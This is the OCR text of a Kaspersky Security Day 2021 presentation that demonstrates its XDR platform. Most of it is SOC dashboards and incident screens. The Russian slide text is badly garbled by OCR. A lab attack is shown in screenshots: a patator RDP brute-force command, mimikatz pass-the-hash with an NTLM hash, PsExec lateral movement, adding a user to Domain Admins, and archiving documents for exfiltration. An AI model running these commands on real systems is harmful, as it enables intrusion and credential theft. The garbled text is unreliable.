Kaspersky
Security Day
2021

XDR 2.0 nnn
OpSec 6yaywero

OnmuTtpuin CreueHko,
PpykoBoauTesib oTaeNia CUCTEeMHbI

lkaspersky



Extended Detection and Response (XDR)

B AHTMBMpPYCHbIA ABUXKOK &
\X2/ Mecounnua

CeteBoli
Tpadp bk

r{ \' Ba3oBbiii MHCTPYMEHTapWii
L Y1 undpoBoi KPUMUHANNCTAKIA

MouTa

Kaspersky
Anti Targeted
Attack

Beb

Pa6oune mectan
cepBepbl

oP \WHOPMATWIBALIG £y "”'/bq
(@)

BupTyanbHbie
MaLLVHbI

-@- IDS v Yara npaBuna




IT-6e30nacHOCTb: COBpEeMEHHbIE peanun

O6wwmin gedunumnt b-akcnepToB
Ha pblHKe Tpyaa

YBenuumBaeTcaA...

* Cno>HoCTb 3awwuLaemMon
IT-nHdpacTpykTypbI

HeontumanbHoe ncnonb3osaHue
BpeMeHU N TanaHTa 3KCrnepToB

» CnoxHocTb naHawadpTa
Yrpo3 1 MoBEPXHOCTb aTaku

* CnoXHOCTb NPOoLEeccoB
pearnpoBaHus Ha
VHUMAEHTbI

* Konu4yecTtBo paspo3HEHHbIX

VHCTPYMEHTOB ‘

* KonnyecTBO pyTUHHBIX Orpan-leHHo

sanau HepocTtaTouHaa noapeprkka Nb-

* Yucno NB-skcnepTos COTPYAHWKOB

OTcyTcTBUE NpOrpaMm NoAroToBKN
cobBCcTBEHHbIX CreunanncToB



Kaspersky Single Management Platform

KOPIMOPATUBHAY4

KUBEPBE3OMNACHOCTb SALLNTA

NMHAYCTPUAJIbHbIX
NMHDPPACTPYKTYP

@® EPP +EDR (PC, Laptop, Server, VM, Mobile)

@ AHanns ceteBoro Tpaduka

@ Industrial CyberSecurity for Nodes

@ Sandbox
@ Industrial CyberSecurity for Network
® SIEM K k
aspersky © Embedded Security: ATM
@ [MouTosbiii 1 Be6 LWAIO3bI Single Management
‘ Platf © ICS Threat Intelligence
® 3awwmTa BUpTyanbHbIX M obnauHbIX cpea - atrorm

@ Financial Threat Intelligence
@ BzanmopeiicTBME CO CTOPOHHUMM PELLEHNSIMA

@ Threat Intelligence (Tl nnaTtdopma, notoku o6
yrposax, lookup, oTueTsl, Ap.)

. YnpaBneHue
SawmTa KnoueBbIX Touek [MNonHas kapTnHa Bricokwuin yposeHb VHUVASHTaMU 1
PaclumpeHHbIe BO3MOXHOCTH uva
NPOHVKHOBEHMS B npomncxopsiero, EEELS R E LI acluIMpeHHoe
oBHapy>XeHus 1 pearnposaHms P P
nH$pacTpyKTypy KOHTpONb 1 ynpasneHue BHY TPEeHHSs Koppensauus

pearvpoBaHue



KomnaHus




G

NHdpacTpykTypa C3U Komanpa Vb
* aHTmBupyc - KESB * HavanbHuK -1,

* 5000 APM - Anti-APT - KATA * aAMuH-pb C31 - 2,

* 100 cepsepos - EDR-KEDR *  KoMMnauHc - 1,

+ SIEM - KUMA
+ SMP

SOC-aHanutuk - 1




NHdpacTpykTypa

®©

5000 APM

100 cepBepos

C3U

aHTnBMpyc - KESB

Anti-APT - KATA
EDR - KEDR
SIEM - KUMA
SMP

O

KomaHpa b

HavyanbHuK - 1,
apMunH-pbl C3U - 2,
KomMnnauHc - 1,

SOC-aHanutuk - 1



@

NHdpacTpykTypa C3U Komanpa V1B

 aHTUBMpYC - KESB HayanbHUK - 1,

* 5000APM - Anti-APT-KATA
* 100 cepBepoB

agMnH-pbl C3U - 2,

 EDR-KEDR
« SIEM - KUMA
- SMP

KomMniauHc - 1,

SOC-aHanutuk - 1




AHanNNTuUK




soc

£

< sOC

Company Name

15 tenants selected

%3 Dashboard
il Reports
INFORMATION
P Alerts

2% Incidents

[ Notifications

ToOoLS

= Threat hunting

YV  Incident rules

2 Playbooks

ASSETS
Ed Devices
fat  Users

01 Applications

[T] Online Help

Strategic Dashboard Last updated Dec 12.2020,0300 | Quarter

Each widget contains information collected from all integrations

Integration W i ® KES
e O ® KATA/EDR

activity

Incidents Traffic  Detection and Response  Protectionand Threats Licenses Commercial equipment

Incidents '~

Total incidents ® Malware = ® Denial of service = ® Unlawful activity Email | | Detailed report

100 ||

90
75 @
L] 5
5 g
10
Nov 2020 Dec 2020 Jan 2021 Feb 2021
- H . N .
Incidents by state H Mean time to detect H Mean time to response
® New ® Inprogress * Resolved ® Malvare ® Denial of sorvice @ Unlawful activity @ Email ® Malware @ Denialof service @ Unlawful activity ® Email
80h 8h
60h 6h
2 5 0 “ "
20h 2
Oh Oh
Nov 2020 Dec 2020 Jan 2021 Feb 2021 Nov 2020 Dec 2020 Jan 2021 Feb 2021

Affected assets by type : Analytics load g Intergations efficiency



socC

€ SOC

Company Name

15t

ants selected

Dashboard

Reports

Alerts

Incidents

Notifications

Threat hunting
Incident rules

Playbooks

ASSETS

Devices
Users

Applications

[T] Online Help

Strategic Dashboard

Each wi

Integration

activity

Incidents

Incidents ~

Total incidents

100

90

Incidents by state

Mew

MNov 2020

n progress

ins information collected from all inte|

Resalved

25

Affected assets by type

Quarter -

WWM#__WWM

ses  Commercial equipment

Mean time to detect

Mean time to response
® Malware @ Denial of service @ Unlawful activity @ Email

® Malware @ Denial of service @ Unlawful activity @ Email

80h 8h

60h &h

40h 4h

20h 2h

Oh Oh
Now 2020 Dec 2020 Jan 2021 Feb 2021 Nov 2020 Dec 2020 Jan 2021 Fab 2021

Analytics load Intergations efficiency




€ SOC

Strategic Dashboard

Each widget contains information collected from all integrations

Last updated D

Company Name
16 tenants selected
soc Integration A A c 3 B e ® KES H
activity ® KATA/EDR .
@ EE.' Dashboard
Incidents Traffic Detection and Response  Protection and Threats Licenses Commercial equipment
il Reports
I:é Incidents '~
INFORMATICN
y P Alerts .
N Total incidents ® Malware = ® Denial of service = ® Unlawful activity Email | | Detailed report H

> Incidents .
100

[J  Notifications |

ToOLS -
= Threat hunting (&)
& 3
Y Incident rules
L)
2 Playbooks I
10
R Nov 2020 Dec 2020 Jan 2021 Feb 2021
Ed Devices
i Users Incidents by state H Mean time to detect H

* New ® Inprogress * Resolved ® Mahware ® Denial of service @ Unlawful activity @ Email

01 Applications

\ 253

Now 2020 Dec 2020 Jan 2021 Feb 2021

@ [T] Online Help

Affected assets by type ] Analytics load ]



- SOC Strategic Dashboard Last updated D

Quarter -
Each widget contains information collected from all integrations
Company Name
16 tenants selected
soc Integration A A c 3 B e ® KES H
activity ® KATA/EDR .
@ EE.' Dashboard
Incidents Traffic Detection and Response  Protection and Threats Licenses Commercial equipment
il Reports
I:é Incidents '~
INFORMATICN
y P Alerts .
N Total incidents ® Malware = ® Denial of service = ® Unlawful activity Email | | Detailed report H

> Incidents .
100

[J  Notifications |

s

ToOLS -
= Threat hunting (&)
L k3

Y Incident rules

L)
35 o
2 Playbooks

Mov 2020 Dec Jan 2021 Feb 2021
ASSETS
Ed Devices
- N . N
i Users Incidents by state g Mean time to response a

® New ® Inprogress * Resolved lware ® Denial of service ® Unlowful activity @ Email

01 Applications

250

Nov 2020 Dec 2020 Jan 2021 Fab 2021

@ [T] Online Help .
Affected assets by type H Analytics Ic Intergations efficiency H



b

< SOC
Company Name

27 Dashboard

il Reports
P Alerts

% Incidents

L3 Notifications

4 Users

1 Applications

Incidents V C

Ralph Edwards

Tﬂ.l SO

Retrospective incidents view: total ~
e o0 P v 00 @
08:00

n G
Iy Crooted |

+ Register incident

[ Rogistered, threat duration 4

. 31012021123456
Open

. 01022021 123456
Open

=) 030220211234 56
Open

m 0402202123456
Open

. 04022021123456
Open

- 05022021 1234:56
Open

=) 0602201123456
Open

- 070220211234 56
Open

@ 08022021 123456
Opon

[3) 090220211234:56
Open

© 2020 Kaspersky Lab. All Rights Reserved.
Version 120107

O Assign analyst

] 1] m w (11} L] L] L]

L[]

L]

Floyd Miles
® Offfine

Esther Howard
® Offiine

esgene P o®
100 2000
3]
ntegrations 4|
[Z) Applyplaybook  [Z] Changestage [J Mark forescalation [ Export :i% Categorize

Incident name, events number SLA Priority Assets affected

g [AD 3 5m of 2h High DMz
2alerts and 5 more
Account created [AD][Suspicious] 45m of 72h Low Marketing
lalert ond 1more
Enumeration [catalog listing](linux] Bmof 72n Low HR departament
lalert and 2 more
Malware [windows]{antivirus){adwaro] Om of 72h Low Reception
2alerts and 2 more
Config Changed [ssh][linux){web servers) Smof 8h Madum Guest WFi
5plorts and 3 more

exploitation [CVE score 42)[cisco)(ro..] 5mof 8h Medum Finances
7 slerts ond 5 more
Server robooted [db][test systems){weblogic] 5m of 72h Low IT dopartment
Talert and 1 more
File deloted [File-servers][Business critical)[1C) Smof 2h High HR department
46 derts (+4) and 2 more
psexec started [admins]{infra servers] Bmof728h  Low oMz
%00 slorts (+78) and 3 more
New device [wifij[guest){mdm] Smof 72n Low Guest WFI
9 olerts ond 4 more

Affected ontity details

BEN » oomsaosmme
BBl »osme

BEN e oemss

R » 0sm932 106933
BB o wousie

EEE) » osn0178m2m0
BEN » ossnoss
B8N »ossaz

P 10664112
and 94 more

BBl » wousiz

Assigrment mode [

®New ®inprogress © Resolved

e e “e ee s se e e

0200
'3 state
Pattern name #1 Playbook 1
KATAloA Running
Pattern nama #2 Playbook 1
KUMA Correlation Running
Pattorn name #3 Playbook 1
KUMA Correlation Running
Pattern name #4 Playbook 1
KES FileAV Running
Pattern name #5 Playbook 1
EDR Running
Pattern name #6 Playbook 1
NGFSIPS Running
Pattern name #7 Playbook 1
KUMA Correlation Running
Pattern name #8 Ploybook 1
KATAJOA. KUMA Correlation Runoing
Pattern name #9 Playbook 1
EDR Running
Pattern name #10 Playbook 1
MOM Running

Privacy Policy * Show Tutorial

000 05+ 2@D @ 00 0 s+ 20 200 @ 00 0 00

Jacob Jones
In progress

Jane Cooper
In progress

Darrel Stoword
In progress

Kristin Watson
In progress

Floyd Mies
In progross

Ronaid Richards
In progress

Esther Howard
In progress

Kristin Watson
In progress

Jane Cooper
In progress
Ronald Richards
In progress

Q

lkaspersky



15



ONbITHbI 1 BiHAHCOBO MOTHEMPOBHH |

3/10yMbILLUIEHHUK HEAaBHO B HOBOCTSIX
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patator rdp_login host=10.69.196,60 user=FILEA password=FILE1 @=/usr/share/wordlists/edpusers.txt t=/usr/share/wordlists/rdppass. tat
1:

103:52 patator
11:03:52 patator
11:03:52 patatoer
patator
patator
patator
patator
patator
patator
patator
patator
patator
patator
patator
patator
patator
patator
patator
patator
patator
patator
11:03:54 patator
patator
patator

55 patator
11:983:55 patator
11:83:55 patator
11:03:55 patator
11:03:5% patator

:55 patator
patator
155 patator
11:03:55 patator
11:03:55 patator
11:83:56 patator

136 patator
patator
patator
patator
patator
patator
patator
patator
patator
patator
patator
patator
patator
patator
patator
ll l3 56 pi\ator

INFO
INFO
INFO
INFO
INFO
INFO
INFO
INFO
1NFO
1INFO
INFO
INFO
INFO
INFO
INFO
INFO
INFO
INFO
INFO
INFO
INFO
INFO
INFO
INFO
INFO

INFO
INFO
INFO
INFO
INFO
TNFO
INFO
INFO
INFO
INFO
INFO
INFO
INFO
INFO
INFO
INFO
INFO
INFO
INFO
INFO
INFO
INFO
INFO
INFO
INFO
ycn

- Starting Patator 0.9 (htups://glithub, com/lanjelot/patator) with python-3.8.6 at 2021-82-03 11:03 EST

N 0 A N R ST N D WA N

IR R 2 PO T o B o )

CIA RO |

code size  time | candidate | num | mesg
131 2 root:root 1 | ERRCONNECT LOGOM_FATLURE
131 2 root:adein 2 | ERRCONNECT _LOGON_FATLURE
131 root:user 3 | ERRCONNECT _LOGON_FAILURE
131 24 root:gjpdiyb-93 4 | ERRCONNECT _LOGON_FAILURE
131 24 root:guest S5 | ERRCONNECT _LOGON_FAILURE
131 24 root:batsan 10.69.196.60
131 24 adnin:root
131 24 adnin:acein
ok 7 ostbersa & ©1069.19660 x
131 3 adnin:gipdlyb-i [}
131 24 adnin:guest
131 2% guest:iadmin = U . m

4
e R ocse e onme.
131 24 user:root
131 % adnin:batman
131 24 guest:root H
131 2% guest:gipdjyb-t
131 24 guest:guest &
g: ;: “":'“"‘ — Goagle packup Sharptdound

user:user - o

131 2 user:gipdiyb-0° SoToRN k
131 2 user:guest -
11 2 user:batman
- LA N
131 24
131 2 \ Preumy
131 2% e
131 26
L} 2 a
131 2
31 2 a -
131 2% v
131 24 robin:gjpdjyb-t 332
131 % robin:guest P
131 2 robin:batman
131 24 John:root
131 24 john:user ERRCONNECT _LOGON_FAILURE
131 3% john:gjpdiyb-03 ERRCONNECT CONNECT TRANMSPORT FAILED
131 2 john:adain ERRCONNECT _LOGOM_FAILURE
11 24 John:guest ERRCONNECT _LOGON_FAILURE
131 24 John:batsan ERRCONNECT _LOGON_FALLURE
131 24 kali:root ERRCONNECT _LOGUN_FALLURE
131 24 kali:adain ERRCONNECT _LOGON _ FAILIIE
131 24 kali:user ERRCONNECT _LOGDS
131 24 kali:gipdiyb-03 ERRCONNECT_LO
11 24 ERKWE(‘I’ L

kali:guest
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-c§r5§;3tﬂi::;z:;t é;:;o:gtian:lh{i rights rescrved.
\Windows\systen32icd c:\Users\Batman\Desktop\nimikatz_trunk\x64
ke :\Uzers\Batman\Desktop \minikatz_trunk \xb4>ninikatz.exe

.ll!..i ﬂinikalz 2.2.9 (x64) 19841 Sep 18 2020 19:18:29

- . A La Vie. A L'Amour" - Coe.co
#8% / \ B8 wwx Benjamin DELPY ‘gentilkiwi® ¢ benjaminBgentilkiwi.com 2

#n N > https://blog.gentilkivi.con/nimikatz

‘HR v BN Vincent LE TOUX € vincent.letouxPgmail.comn )
‘RuRnn’ > https:s/pingcastlo.com / https://nysmart logon.con w=se/

imikatz # log log.txt k

Esiny *log.txt’ for logfile : OK

imikatz ® srivilaye::dab\lg
rivilege '280° OK

imikate 8 _
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mimikatz 2.2.0 x64 (0e.€0)

\osmp.test cmd.exe

i\Vindows\systeni2dvhoami
psnp-hostB@\batman

\Windows\systend2lcd ..\..

:\>cd Users\Batman\Downloads\PSToolse

NUgsers\Batman\Downloads\PSTools>PsExec.exe \\osnp.test cmd.exe

PsExec v2.32 Execute processes remotely
sopyright <C) 2081-2821 Mark Russinovich
bysinternals wwv.sysinternals.con

icrosoft Windows [Version 18.8.17763.187)
(c) 2018 Microsoft Corporation. All rights reserved.

i \Windows\systend2>vhoani
snphadninistrator

\Windows\sycstemn32onet group "Domain Admins" ucer3d sadd
he command completed successfully.

>i\Windows\systen32)

Ssp Ko
credman =

himikatz 8 sekurlsaz:ipth Juseriadmninistrator /domainiosmp.test /ntlim:2331a768bdB
15b1126a154b123F792¢

piser : administrator

domain : osmp.test

En-uuran : cnd.exe

mpers. * no
TLM : 2331a768bd8ailSh1126a154b123F792¢
! PID 4988
TID 168

LSA Process is now RAJ

LUID 8 ; 40418127 (90000008 :B268bh4af )

nsvl_@ data copy P PHOOOAPRE123D248 = OK ¢
kerberos data copy P BUOEREFREL1BABB70

56 _hmac > null

28 _hmac > null

hmac_nt OK

hmac_old OK
oKX
OK

p I J—
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< soC

Name
15 tenants selected

23 Dashboard

(il Reports
B Alerts

% Incidents

1 Notifications

¢%  Playbook

4 Devices

4 Users

1 Applications

Incidents V C prmTm——— Q
@ _— @ Ralph Edwards @ Floyd Miles ( 5) Esther Howard
® Online ® Offiine ® Offiine
Retrospective incidents view: total ~ o New ®inprogress e Resolved
-3 ool 0.0 @ cvonne ool 00 @ 20000t P D 0000+ 2@D D 00 0 200200 @ 00 0 00
0800 100 2000 0200 08:00
Creatod Integrotions
-+ Register incident O Assignonalyst  [Z] Applyplaybook  [7] Changestage LJ Mark forescalation [ Export :i% Categorize
I Registered, threatduration 4 [l Incident name, events number SLA Priority  Assets affected  Affected entity details g state  Assignee
31012021 123456 Possible kerberoasting [AD attack](Important] 45mof72h  High DMZ A 43 KATAJOA AD passwordreset  Raiph Edwards
=] New E 2alerts and 5 more - £ AL g Running In progress
0102202) 123456 = Account created [AD)[Suspicious] Bm of 72h Low Marketing KUMA Correlation General envichment  Rojph Edwards
8 New = lglent and 1 more - EeR57e Running In progress
0302202123456 =  Enumeration [catalog listing](linux] Omof 72h Low HR departament KUMA Correlation Files enumeration Ralph Edwards
8 .. = jaen and2more - P:04219755 Running P—
0402202123456 =  Malwore [windows]{antivirus){adware] Smof 8h Low KES FileAV notification  Ralph Edwards
=] New = Zalert and 2more - P:1099932 A3 Running In progress
i e Privacy Poicy + showTutorisl  [KASPEISKY
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(X Online Help

-1

Incidents V C

2 2 )
@ : \/76 e :

Retrospective incidents view: total

Al Past woek Any

Register incident

Registered, threat duration

Incident name, events number

Enumerat

Clinux)

SLA

Priority

Assets affected

fected entity details

NEIP

Detection technology

Response, state

Auto

Assignoe




‘Open
Incident SOC 35425

Brute force ~ Pass-the-hash
@ Assign to (Escalate to) ‘ 7] Changeseverity (2 Linkalert (2 Merge withanotherincident L1 Leave comment L[] Change status

Summary Timeline Investigation graph MITRE Matrix  Alerts(3) Assets(10) Observables (105) ® Communications History

Summary

Assignee Ralph Edwards Severity -
Status - Priority Normal

Status reason In progress Created 2019-10-22 12:15:01 by Ralph Edwards
Elapsed reaction 30m of 2h Updated 2019-10-22 12:16:01 by Ralph Edwards
time —
MITRE Tactics TAOOOS5 Defense Evasion. TAOOOS Lateral Movement »
Base Salerts >

MITRE Techniques T1552.002 Pass the Hash *

Dynamic +5 for past 24 hours *
‘ . . Solution involved KUMA

/ Correlation Decision paint,

technology This rule detects Pass-the-Hash attempts
Assets affected 10
Detection KUMA
Affected entity +4 for past 24 hours * technology
Critical entities IP:19216811.4
type and details USER: User3 *»

Affected tenants Regional office *»

Incident activity scope

Reconnaissance Resource Initial Access Execution Persistence Privilege Defense Credential Discovery Lateral Collection Command Exfiltration
Development Escalation Evasion Access Movement and Control

Description

- Adversaries may "pass the hash” using stolen password hashes to mowve laterally within an environment, bypassing normal system access controls. Pass the hash (PtH) is a
method of authenticating as a user without having access to the user's cleartext password.

= Suspicious LDAP requests. It could be AD

= Successful logon after multiple failed logon attempts. discovery with such tools like bloodhound or powerview

Impact

B o x

Other
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Incident SOC 35425

Company Name

soc Brute force  Pass-the-hash

ﬁ Dashboard _
Reports

Eé o Summary Timeline Investigation graph  MITRE Matrix  Alerts (3) Assets(¥0) Observables (105) ® Communications History

7 e —

Incidents

” ‘ @ Scan [ Update AV-databases () Isolate [S] Block T Request changing password

Notificatiol

[ ] Tenant 4 Name Group Priority Tag

© Hosts (5 items)

CYre— - o -
T C Jp— Normal A Nedum Vbuiding 1 foor  Sorver [ONZ.
Data center 5R osmp-snd Normal A Wedium _--
T 28 csmp-nosc0 Nomsl A Modum Vbuiding 1 foor  Sorver [ONZ.
" - s A ves Eoidgiion Sow) B8)

Users (5 items)

HQ S Batman Local @ Low -

HO £ Administrator - [] Hign --
" 8 en woows @ Lo —

HQ S user3 Dev A Medium --

HQ S User2 ITSup @ Low --

Threat hur

Incident rul

Playbook

Users

Applicatior

Online Help



‘Open
Incident SOC 35425

Brute force  Pass-the-hash
@ Assign to (Escalate to) ‘ E Change severity 0 Link alert 9 Merge with another incident D Leave comment m Change status

Summary Timeline Investigationgraph MITRE Matrix  Alerts (3) Assets(10) Observables(105) ® Communications History

[ Q search
Scan Update AV-databases Isolate Block Request changing password
[ ] Tenant 4 Name Group Priority Tag

© Hosts (5 items)

[ ] Data center 28 osmp-snil - 1] High _ Server -
B Datacenter 58 osmp-sn2 Normal A Medium - Server -
[ ] Data center 28 osmp-srv3 Normal A Medium _ Server -
[ ] Data center 58 osmp-host0 Normal A Medium _--
[ ] HQ 2% osmp-ad Normal A Medium _ Server -

© Users (5items)

B +Ho £, Batman Local @ Low Batman local

P B sz [Admin  [1] vign  Administrator  Domain admins
[ ] HQ £, User! WebDev  (3) Low - Web developer

[ ] HQ S User3 Dev A Medium - Developer

[ ] HQ £, User2 ITSup @ Low - IT Support

Device host0.osmp.test <5 x

Summary Status Vulnerability

Vulnerabilities

» Categories

v Vulnerabilities

KLA12061 in Iperius Backup
CVE 1: CVE-2020-15999

KLA12010 in Mezilla Firefox 81.0 (x64 ru)

CVE 21: CVE-2020-15999. CVE-2020-16012, CVE-2020-26951,
CVE-2020-15999, CVE-2020-16012, CVE-2020-26951,
CVE-2020-15999, CVE-2020-16012, CVE-2020-26951,
CVE-2020-15999, CVE-2020-16012, CVE-2020-26951

KLAT1982 in Mozilla Firefox 81.0 (x64 ru)
CVE 21: CVE-2020-15999, CVE-2020-16012, CVE-2020-26951,
CVE-2020-15999, CVE-2020-16012, CVE-2020-26951

> Software info

* Hardware info

Device summary
Owner Administrator
FQDMN hostO.osmp.test

MAC address 56:4D:00:01:9D:59

Operating Microsoft Windows Server 2012 R2 9600

Cuurtrm
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inportant documents\inportant docl3.docx
inportant documents\inportant docl4d.docx
inportant documents\inportant dociS.docx
inportant docunentsN\inportant doclb.docx
important docunents\inportant docl1?.docx
important docunents\inportant dociB8.docx
important documents\inportant doc19.docx
important documents\inportant doc28.docx
inportant documentsNinportant doc2i.docx
important docunents\inportant doc22.docx
inportant docunents\inportant doc23.docx
inportant docunents\inportant doc24.docx
important documentsNinportant doc25.docx
important docunments\important doc26.docx
inportant documentsi\inportant doc2?.docx
inportant docunents\inportant doc28.docx
inportant documents\inportant doc29.docx
inportant docunents\inportant docl@.docx
inportant docunentsN\inportant docdi.docx
inportant docunentssinportant doc32.docx
inportant documents\inportant doc33.docx
important documents\inportant doc34.docx
inmportant docunenteiinportant dec3S5.docx
inportant docunents\inportant doc36.docx
inportant docunents\inportant doc3?.docx
inportant docunents\inportant doc38.docx
important documents\inportant doc3?.docx
inportant documents\inportant doc4®.docx
inportant documents\inportant doc4l.docx
inportant docunentsNinportant doc42.docx
inportant docunents\inportant doc43.docx
inportant documents\inportant doc44.docx
inportant documents\inportant doc45.docx
inportant documentsh\inportant doc4b.docx
inportant documents\inportant doc4?.docx
inportant docunentsN\inportant doc48.docx
inportant docunentsNinportant doc4?.docx
inportant documents\inportant docS#.docx
inportant docunents\inportant docS1.docx
inportant documents\inportant docS52.docx

8§ C:\Windows\systeni2) PS C:\Windows\system3d2> comprezss-archive -path 'c:i\very
inportant documents’ ~destinationpath c:\tempSarchive.zip
PS C:\Windows\systen32> PS C:\Windows\systemld2> _
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< SOC

Name
15 tenants selected
Dashboard

(] Reports

Fx Alerts
%% Incidents a1

L3 Notifications
T= Threat hunting

Y Incident rules

¢%  Playbook

i Users

1 Applications

Incidents V C PrpTm——— B & | Q
o Ralph Edwards Floyd Miles m Esther Howard
Lise ® Online ® Offfine ® Offiine
Retrospective incidents view: total »~ o New ®inprogress © Resolved

ool 0:0:@ ¢00ess @D 000:0c0 s 0@ 00 @ ‘o - 00 0 0@

@ 0t @ 0000 o@D D 00 0 20000

08:00 100 2000 0200 08:00

ntegrations L

B Creotes [} v
-+ Register incident (O Assignonslyst  [Z] Applyplaybook [7] Changestage LJ Mark foroscalation [ Export i Categorize
! Rogistered, threat duration 4[]  Incident name, events number SLA Priority  Assets affected  Affected entity details g state Assignee
. 05022020 123456 Data compressed [Sensitive data){Fil.. hbmof2n High oMz P1049198 52, 106998 53, Isolate host Raiph Edwards
Open % dlerts and 3 more and 2 more KATA loA Running In progress
31012021 123456 = Possibk & [AD 3] 45mof72h  High oMz ADpasswordreset  Ralph Edwards
e New = 20lents ond 5 more - A \TAJoA Running In progress
=) 01022021 123456 =  Account created [AD){Suspicious] 5mof 72n Low Marketing - P 1069976 General envichment  Ralph Edwards
New = lalert and 1more = Z KUMA Correlation Running In progress
030220211234 56 = Enumeration [catalog listing](linux] Om of 72h Low HR department Files enumeration Raiph Edwards
. New = lalert and 2 more - EQE758 KUMA Correlation Running In progress.
040220211234:56 = Malware [windows)[antivirus)J{adware] Smof 8h Low Reception Email notification Ralph Edwards
8 New = 2alerts and 2 more - e OOTe a0 KES FileAV Running In progress
© 2020 Kasporsky Lab. All Rights Resorved. ) " y
i Privacy Poicy * ShowTutoriel  [CASPEISKY



< SOC Incidents V C

Company Name -, T 26 ) Ralph Edwards 10\ Floyd Miles h Esther Howard
soc Sonerits nelact o ® Online . -

e Dashboard

Ao v & Q

Retrospective incidents view: total ~

. .
Reports > 0 SEEEY - BURTET EETTOEER TR @: > 0 SEEEY - BERTEY EETTEER DR ) @B o3 ® 0 - @
08:00 100 2000 0200 08:00
? Alerts
1 Al v t Past wook Any v t Al v
<= Incidents -1
Notifications -+ Register incident 1} Assignanalyst |-} Applyplaybook (v Changestage & Markforescalation [ Export 3:: Categorize
t= Threat hunting
Incident rules
Playbook
01022021 123456 Account created [AD]{Suspicious] 5mof 72h Low Marketing » r General envichment  Ralph Edwards
= ks and 1 more KUMA( Running s
Devices .
3 ! % Enumeration [catalog listing]{linux] Om of 72h R de ment = !
Users

Malware [windows){antivirus){adware] Bm
Applications rt

Lab. All Rights Res

@ (11 Online Help e

vocy Policy * showTutoriel  [CASPRISKY



‘Open
Incident SOC 35425

B o x

Brute force  Pass-the-hash  File Discovery
@ Assign to (Escalate to) ‘ E Change severity Q Link alert 0 Merge with another incident D Leave comment m Change status
Summary Timeline Investigation graph MITRE Matrix  Alerts(12) Assets(7) Observables(105) ® Communications History
Alert activity
Reconnaissance Resource Initial Access Execution Persistence Privilege Defense Credential Discovery Lateral Callection ‘Command Exfiltration Impact Type 15
Development Escalation Evasion Access Movement and Control
-+ Add te incident Mark for investigation Link to group Export events Delete
Registered | Event name, avents number Tags Event source Affected assets
> 01012020 1234:56 A Bt force Under investigation Mansged devices
* 01012020 12:34:56 A AD discovery Under investigation Unmanagemant

» 01012020 12:34:56

> 01012020 12:34:56

» 01012020 12:34:56

A\ Pass-the-Hash
A Files discovery

A Files compressed

Under investigation

Under investigation

Under investigation

KATA

OSMP\psmp-host0, OSMP\osmp-ad

OSMP\esmp-srvl. OSMPYasmp-srvZ, OSMP\osmp-srv3

OSMP\psmp-srl, OSMP\osmp-srv2, OSMP\csmp-srd
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< SOC

Company Name

selected

Dashboard

Reports
INFORMATION

Alerts

Incidents

Notifications
00LS

Threat hunting

Incident rules

Playbook

Devices
Users

Applications

[T Online Help

open. B m ox
Incident SOC 35425 @

Brute force | Pass-the-hash

Summary Timeline Investigation graph  MITRE Matrix  Alerts (12) Assets(7) Observables (105) ® Communications History

. 7]
=
S
E
08:00 ﬂ!':ﬂﬂ
Details

Date Added 1 User Phase

01.012020 12:34:56 Ralph Edwards Playbook is executed. Get asset infa.

01012020 12:34:56 Ralph Edwards Playbook is executed. Add observables.

01.012020 12:34:56 Ralph Edwards Playbook is executed. Condition task: check security tools status,

01012020 1234:56 Ralph Edwards Playbook is executed. Plain task install nagent and kea agent.

01.012020 12:34:56 Ralph Edwards Playbook is executed. Create Jira task (patch management).

01012020 123456 Ralph Edwards Playbook is executed. Get asset info (osmp-srl).

01012020 12:34:56 Ralph Edwards Playbook is executed. Add observables.

01012020 12:34:56 Ralph Edwards Playbook is executed. loG enrichment.

01012020 12:34:56 Ralph Edwards Playbook is executed. loC search and delete.
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Company Name
e File changed

All events File changed

PR Dashboard

fi] Reports

INFORMATION

P Alerts

% Incidents

& [ osMP-SRViosmptest @i} [ System By —[ £} Everything.exe ]

[ Notifications

TOOLS

T= Threat hunting

W Incident rules

¢:  Playbooks I
ASSETS,
EH Isolate OSMP-SRV1osmptest () Createapreventionrule [2] Createa task «
Ed Devices
@ Users File created Event initiator System info
01 Applications I0A tag — File “System” » Host name OSMP-SRV1csmptest »
File C:yWindows\Everythingexe » MD5 - User name OSMP\OSMP-SRV1$
MD5 b2e26b3562562d5c2647eb466fdi7ebs SHA256 - 0S name Microsoft Windows Server 2019 Standard
10.017763 N/A Build 17763
SHA256 66b9610e94d003a2b44abe?76524c0181d808b8bEe
663a26378204a/160aecd
Size 2MB
Event time 06 February 202105:42:27560
Time created 06 February 202104:33.35.563
Time modified 04 February 2021 09:3419523

[I] Online Help
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Company Name
16 tenants selected
23 Dashboard
(il Reports
INFORMATION

P Alerts

2% Incidents
[J  Notifications
TOOLS

= Threat hunting
V Incident rules
ASSETS

Ed Devices

fat  Users

01 Applications

Threat Hunting

Builder  Source code

() G G (-~ 000 x
(=] EEEED G CEETE
(2=] G G (cccomsmaumianes |
O | .

& Back to incident
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* soC

Company Name
16 tanants salectad
PR Dashboard
fi] Reports
INFORMATION

P Alerts

% Incidents
[ Notifications

TOOLS

f= Threat hunting
W Incident rules
¢:  Playbooks
ASSETS,

Ed Devices

it Users

01 Applications

[I] Online Help

Threat Hunting

FileName CONTAINS “everything.exe” AND EventType

All events (28 events) L

Eventtime |

05 February 2021
16:27:37242

05 February 2021
16:27:09.300

05 February 2021
15:23:04138

05 February 2021
16:23:04133

05 February 2021
16:27:37242

05 February 2021
15:00:51863

05 February 2021
05:5158.221

05 February 2021
05:5158.228

05 February 2021
05:5158149

05 February 2021
05:5158149

05 February 2021
05:5158149

05 February 2021
05:5158149

05 February 2021
05:5158149

Event

File changed

File changed

File changed

File changed

File changed

File changed

File changed

File changed

File changed

File changed

File changed

File changed

File changed

I

OSMP-SRV3.0smp.test

OSMP-SRV3.0smp.test

= “FileChanged" AND MD5 = “b2e26b3562562d5c2647eb466fd17eb6"

Details

File:
C\Windows\Everything exe

File:
CAWindows)\Everything. exe

File:
C\Windows\Everything exe

File:
CAWindows)\Everything. exe

File:
C\Windows\Everything exe

File:
CAWindows)\Everything. exe

File:
C\Windows\Everything exe

File:
CAWindows)\Everything. exe

File:
C\Windows\Everything exe

File:
CAWindows)\Everything. exe

File:
C\Windows\Everything exe

Fi
CAWindows)\Everything. exe

File:
C\Windows\Everything exe

Importance:
A Medium

Impartance:
A Medium

Importance:
A Medium

Impartance:
A Medium

Importance:
A Medium

Impartance:
A Medium

Importance:
A Medium

Impartance:
A Medium

Importance:
A Medium

Impartance:
A Medium

Importance:
A Medium

Impartance:
A Medium

Importance:
A Medium

Operation type:
File created

Operation type:
File created

Operation type:
File created

Operation type:
